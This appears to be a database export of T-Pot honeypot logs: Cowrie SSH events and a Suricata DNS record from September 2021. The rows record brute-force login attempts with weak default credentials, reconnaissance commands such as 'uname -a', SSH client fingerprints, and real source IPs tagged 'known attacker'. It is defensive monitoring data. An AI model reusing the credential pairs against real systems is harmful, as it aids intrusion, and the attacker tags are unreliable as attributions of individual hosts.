"2021-09-20T11:13:11.170Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26824	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:05.694872+03	2021-09-20 14:15:13.775675+03	{"_id": "qAboAnwBvYTbRNuE2CO8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ftp/tpuser] failed", "session": "8f363cb2cb8f", "@version": "1", "password": "tpuser", "username": "ftp", "timestamp": "2021-09-20T11:13:05.694872Z", "@timestamp": "2021-09-20T11:13:05.694Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26825	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:06.07059+03	2021-09-20 14:15:13.776672+03	{"_id": "qQboAnwBvYTbRNuE2CO8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "81bcbe08f1e5", "@version": "1", "duration": 6.678313255310059, "timestamp": "2021-09-20T11:13:06.070590Z", "@timestamp": "2021-09-20T11:13:06.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26826	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:05.788852+03	2021-09-20 14:15:13.777675+03	{"_id": "rQboAnwBvYTbRNuE2CO9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [123456/123456] failed", "session": "65aef3c283f0", "@version": "1", "password": "123456", "username": "123456", "timestamp": "2021-09-20T11:13:05.788852Z", "@timestamp": "2021-09-20T11:13:05.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26827	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:05.840397+03	2021-09-20 14:15:13.778646+03	{"_id": "rgboAnwBvYTbRNuE2CO9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [test2/test123] failed", "session": "a46fe3b1399e", "@version": "1", "password": "test123", "username": "test2", "timestamp": "2021-09-20T11:13:05.840397Z", "@timestamp": "2021-09-20T11:13:05.840Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26829	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:06.185709+03	2021-09-20 14:15:13.781647+03	{"_id": "sAboAnwBvYTbRNuE2CO9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:06.185709Z", "@timestamp": "2021-09-20T11:13:06.185Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26830	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:05.903457+03	2021-09-20 14:15:13.782674+03	{"_id": "sQboAnwBvYTbRNuE2CPY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "128.199.123.0", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.3466355800628662, "duplicate": true, "timestamp": "2021-09-20T11:13:05.903457Z", "@timestamp": "2021-09-20T11:13:05.903Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
26831	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:06.533425+03	2021-09-20 14:15:13.783679+03	{"_id": "sgboAnwBvYTbRNuE2CPY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "128.199.123.0", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.34833693504333496, "duplicate": true, "timestamp": "2021-09-20T11:13:06.533425Z", "@timestamp": "2021-09-20T11:13:06.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
26832	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:06.58365+03	2021-09-20 14:15:13.784645+03	{"_id": "pQboAnwBvYTbRNuE2CO4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3532511486e4", "@version": "1", "duration": 2.87650728225708, "timestamp": "2021-09-20T11:13:06.583650Z", "@timestamp": "2021-09-20T11:13:06.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26833	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:13:06.978108+03	2021-09-20 14:15:13.786647+03	{"_id": "swboAnwBvYTbRNuE2iPG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 31138, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1542897958841532, "@version": "1", "in_iface": "enp5s0", "src_port": 54064, "dest_port": 53, "timestamp": "2021-09-20T11:13:06.978108Z", "@timestamp": "2021-09-20T11:13:06.978Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
26834	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:06.965064+03	2021-09-20 14:15:13.787674+03	{"_id": "wwboAnwBvYTbRNuE3COk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:45716 (192.168.176.2:22) [session: 5115ca8944ee]", "session": "5115ca8944ee", "@version": "1", "protocol": "ssh", "src_port": 45716, "dest_port": 22, "timestamp": "2021-09-20T11:13:06.965064Z", "@timestamp": "2021-09-20T11:13:06.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26835	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:06.794446+03	2021-09-20 14:15:13.788675+03	{"_id": "vgboAnwBvYTbRNuE3COj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:06.794446Z", "@timestamp": "2021-09-20T11:13:06.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26836	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:06.795027+03	2021-09-20 14:15:13.790647+03	{"_id": "vwboAnwBvYTbRNuE3COj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:06.795027Z", "@timestamp": "2021-09-20T11:13:06.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26837	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:07.240681+03	2021-09-20 14:15:13.791674+03	{"_id": "wAboAnwBvYTbRNuE3COj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5115ca8944ee", "@version": "1", "timestamp": "2021-09-20T11:13:07.240681Z", "@timestamp": "2021-09-20T11:13:07.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26838	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:07.290902+03	2021-09-20 14:15:13.792675+03	{"_id": "wQboAnwBvYTbRNuE3COj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "8f363cb2cb8f", "@version": "1", "duration": 3.880235195159912, "timestamp": "2021-09-20T11:13:07.290902Z", "@timestamp": "2021-09-20T11:13:07.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26839	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:06.67677+03	2021-09-20 14:15:13.793674+03	{"_id": "2gboAnwBvYTbRNuE3COp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1a9b04075f74", "@version": "1", "duration": 2.83636736869812, "timestamp": "2021-09-20T11:13:06.676770Z", "@timestamp": "2021-09-20T11:13:06.676Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26840	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:07.117541+03	2021-09-20 14:15:13.795674+03	{"_id": "2wboAnwBvYTbRNuE3COp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a46fe3b1399e", "@version": "1", "duration": 2.4638473987579346, "timestamp": "2021-09-20T11:13:07.117541Z", "@timestamp": "2021-09-20T11:13:07.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26841	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:07.144821+03	2021-09-20 14:15:13.796675+03	{"_id": "3AboAnwBvYTbRNuE3COp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "128.199.123.0", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.35045623779296875, "duplicate": true, "timestamp": "2021-09-20T11:13:07.144821Z", "@timestamp": "2021-09-20T11:13:07.144Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
26842	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:07.479835+03	2021-09-20 14:15:13.798647+03	{"_id": "3QboAnwBvYTbRNuE3COp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d1a5201b7b17", "@version": "1", "timestamp": "2021-09-20T11:13:07.479835Z", "@timestamp": "2021-09-20T11:13:07.479Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
